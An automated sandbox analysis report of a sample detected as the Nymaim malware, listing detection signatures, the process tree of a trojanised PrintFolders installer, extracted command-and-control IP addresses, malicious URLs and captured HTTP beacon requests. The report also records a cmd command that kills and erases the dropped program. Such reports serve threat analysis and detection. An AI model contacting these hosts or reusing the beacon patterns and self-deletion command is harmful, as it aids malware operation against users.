Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:file.exe
Analysis ID:753410
MD5:7e8888d098d8af9b7f7d1a39ff7666a4
SHA1:3301535903ea09ddc389f1fc3d67fd45e8215526
SHA256:64bbb72159a4bdfd522ae703ee76a1c63e8ca6ba297cb2ee8634357909a50738
Tags:exe
Infos:

Detection

Nymaim
Score:96
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Detected unpacking (overwrites its own PE header)
Yara detected Nymaim
Detected unpacking (changes PE section rights)
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Machine Learning detection for dropped file
C2 URLs / IPs found in malware configuration
Uses 32bit PE files
Antivirus or Machine Learning detection for unpacked file
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to call native functions
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Found dropped PE file which has not been started or loaded
Contains functionality which may be used to detect a debugger (GetProcessHeap)
PE file contains executable resources (Code or Archives)
IP address seen in connection with other malware
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
PE file does not import any functions
Sample file is different than original file name gathered from version info
Drops PE files
Contains functionality to read the PEB
Found evasive API chain checking for process token information
Uses taskkill to terminate processes
Dropped file seen in connection with other malware
Uses Microsoft's Enhanced Cryptographic Provider
Contains functionality to detect sandboxes (foreground window change detection)
Creates a process in suspended mode (likely to inject code)

Classification

  • System is w10x64
  • file.exe (PID: 1364 cmdline: C:\Users\user\Desktop\file.exe MD5: 7E8888D098D8AF9B7F7D1A39FF7666A4)
    • is-71GCF.tmp (PID: 3664 cmdline: "C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp" /SL4 $30340 "C:\Users\user\Desktop\file.exe" 1077961 51712 MD5: 85B94E72C3F2D2B5464E2AAF3C9E242A)
      • PrintFolders.exe (PID: 4476 cmdline: "C:\Program Files (x86)\PrintFolders\PrintFolders.exe" MD5: A11421185D7DA999305A2A671E0244DE)
        • CqxAaSZxg.exe (PID: 5656 cmdline: MD5: 3FB36CB0B7172E5298D2992D42984D06)
        • cmd.exe (PID: 2240 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /im "PrintFolders.exe" /f & erase "C:\Program Files (x86)\PrintFolders\PrintFolders.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)
          • conhost.exe (PID: 4568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • taskkill.exe (PID: 5104 cmdline: taskkill /im "PrintFolders.exe" /f MD5: 15E2E0ACD891510C6268CB8899F2A1A1)
  • cleanup
{"C2 addresses": ["45.139.105.1", "85.31.46.167"]}
SourceRuleDescriptionAuthorStrings
00000002.00000002.381430567.0000000001730000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_NymaimYara detected NymaimJoe Security
    00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmpJoeSecurity_NymaimYara detected NymaimJoe Security
      00000002.00000002.381635240.0000000003310000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_NymaimYara detected NymaimJoe Security
        SourceRuleDescriptionAuthorStrings
        2.2.PrintFolders.exe.400000.0.raw.unpackJoeSecurity_NymaimYara detected NymaimJoe Security
          2.2.PrintFolders.exe.400000.0.unpackJoeSecurity_NymaimYara detected NymaimJoe Security
            2.2.PrintFolders.exe.3310000.3.raw.unpackJoeSecurity_NymaimYara detected NymaimJoe Security
              2.2.PrintFolders.exe.3310000.3.unpackJoeSecurity_NymaimYara detected NymaimJoe Security
                No Sigma rule has matched
                No Snort rule has matched

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Source: http://171.22.30.106/library.phpURL Reputation: Label: malware
                Source: http://171.22.30.106/library.php~Avira URL Cloud: Label: malware
                Source: http://171.22.30.106/library.phpVAvira URL Cloud: Label: malware
                Source: http://171.22.30.106/library.php:Avira URL Cloud: Label: malware
                Source: http://171.22.30.106/library.phpBAvira URL Cloud: Label: malware
                Source: http://171.22.30.106/library.phpjNAvira URL Cloud: Label: malware
                Source: http://171.22.30.106/library.phpHAvira URL Cloud: Label: malware
                Source: http://171.22.30.106/library.php&Avira URL Cloud: Label: malware
                Source: http://171.22.30.106/library.phpjAvira URL Cloud: Label: malware
                Source: http://171.22.30.106/library.php0Avira URL Cloud: Label: malware
                Source: http://171.22.30.106/library.phpVVirustotal: Detection: 10%Perma Link
                Source: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\CqxAaSZxg.exeReversingLabs: Detection: 46%
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeJoe Sandbox ML: detected
                Source: 2.2.PrintFolders.exe.10000000.6.unpackAvira: Label: TR/Crypt.XPACK.Gen8
                Source: 2.2.PrintFolders.exe.400000.0.raw.unpackMalware Configuration Extractor: Nymaim {"C2 addresses": ["45.139.105.1", "85.31.46.167"]}
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_10001000 ISCryptGetVersion,1_2_10001000
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_10001130 ArcFourCrypt,1_2_10001130
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00403770 CryptAcquireContextW,CryptCreateHash,_mbstowcs,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,___std_exception_copy,2_2_00403770

                Compliance

                barindex
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeUnpacked PE file: 2.2.PrintFolders.exe.400000.0.unpack
                Source: file.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                Source: Binary string: E:\DATA\Codework\PrintFolders\source\Release\Russian.pdb source: is-JPR4D.tmp.1.dr
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0046C770 FindFirstFileA,FindNextFileA,FindClose,1_2_0046C770
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00474708 FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,1_2_00474708
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00451554 FindFirstFileA,GetLastError,1_2_00451554
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0048A778 FindFirstFileA,6CAA69D0,FindNextFileA,FindClose,1_2_0048A778
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004729D4 FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,1_2_004729D4
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0045CA54 FindFirstFileA,FindNextFileA,FindClose,1_2_0045CA54
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00406FEC FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,1_2_00406FEC
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0045DB60 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,1_2_0045DB60
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0045DEF4 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,1_2_0045DEF4
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00404490 FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,2_2_00404490
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00423E2D FindFirstFileExW,2_2_00423E2D
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_1000959D FindFirstFileExW,2_2_1000959D
                Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\AppData\Jump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpJump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\Jump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\Jump to behavior

                Networking

                barindex
                Source: Malware configuration extractorIPs: 45.139.105.1
                Source: Malware configuration extractorIPs: 85.31.46.167
                Source: Joe Sandbox ViewASN Name: CMCSUS CMCSUS
                Source: Joe Sandbox ViewIP Address: 45.139.105.171 45.139.105.171
                Source: unknownTCP traffic detected without corresponding DNS query: 45.139.105.171
                Source: unknownTCP traffic detected without corresponding DNS query: 45.139.105.171
                Source: unknownTCP traffic detected without corresponding DNS query: 45.139.105.171
                Source: unknownTCP traffic detected without corresponding DNS query: 45.139.105.171
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: unknownTCP traffic detected without corresponding DNS query: 107.182.129.235
                Source: PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.317661665.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://171.22.30.106/library.php
                Source: PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://171.22.30.106/library.php&
                Source: PrintFolders.exe, 00000002.00000003.342570357.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.324088456.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.336693686.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.330858735.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.317661665.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://171.22.30.106/library.php0
                Source: PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://171.22.30.106/library.php:
                Source: PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://171.22.30.106/library.phpB
                Source: PrintFolders.exe, 00000002.00000003.342570357.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.324088456.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.336693686.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.330858735.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.317661665.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://171.22.30.106/library.phpH
                Source: PrintFolders.exe, 00000002.00000003.342570357.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.324088456.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.336693686.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.330858735.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.317661665.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://171.22.30.106/library.phpV
                Source: PrintFolders.exe, 00000002.00000003.342570357.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.336693686.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.330858735.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://171.22.30.106/library.phpj
                Source: PrintFolders.exe, 00000002.00000003.342570357.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.336693686.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://171.22.30.106/library.phpjN
                Source: PrintFolders.exe, 00000002.00000003.342570357.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.368965108.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.360444030.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.324088456.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.336693686.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.330858735.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.354528828.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.311694690.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.374897092.00000000044D4000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.317661665.00000000044D2000.00000004.00000800.00020000.00000000.sdmp, PrintFolders.exe, 00000002.00000003.348522621.00000000044D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://171.22.30.106/library.php~
                Source: file.exe, 00000000.00000003.292288474.0000000001FA1000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000002.382781882.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000003.293681298.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000002.382789438.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000003.293626976.0000000002F40000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://pfolders.atopoint.com
                Source: file.exe, 00000000.00000003.383011166.0000000001FA1000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.292288474.0000000001FA1000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://pfolders.atopoint.com.
                Source: is-71GCF.tmp, 00000001.00000002.382781882.00000000021C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://pfolders.atopoint.com2
                Source: file.exe, 00000000.00000003.292219295.0000000002090000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.383011166.0000000001FA1000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.292288474.0000000001FA1000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000003.293681298.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000002.382789438.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000003.293626976.0000000002F40000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.atopoint.com
                Source: file.exe, 00000000.00000003.383011166.0000000001FA1000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.292288474.0000000001FA1000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000003.293681298.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000002.382789438.00000000021D4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.atopoint.com.
                Source: file.exeString found in binary or memory: http://www.innosetup.com
                Source: is-71GCF.tmp, is-71GCF.tmp, 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-6QPAJ.tmp.1.dr, is-71GCF.tmp.0.drString found in binary or memory: http://www.innosetup.com/
                Source: file.exe, 00000000.00000003.292588348.0000000001FA8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.292390929.0000000002090000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmp, is-6QPAJ.tmp.1.dr, is-71GCF.tmp.0.drString found in binary or memory: http://www.innosetup.comDVarFileInfo$
                Source: file.exe, 00000000.00000003.292588348.0000000001FA8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.292390929.0000000002090000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, is-71GCF.tmp, 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-6QPAJ.tmp.1.dr, is-71GCF.tmp.0.drString found in binary or memory: http://www.remobjects.com/?ps
                Source: file.exe, 00000000.00000003.292588348.0000000001FA8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.292390929.0000000002090000.00000004.00001000.00020000.00000000.sdmp, is-71GCF.tmp, 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-6QPAJ.tmp.1.dr, is-71GCF.tmp.0.drString found in binary or memory: http://www.remobjects.com/?psU
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00401B30 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,2_2_00401B30
                Source: global trafficHTTP traffic detected: GET /itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 45.139.105.171Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /storage/ping.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 0Host: 107.182.129.235Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /storage/extension.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 107.182.129.235Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
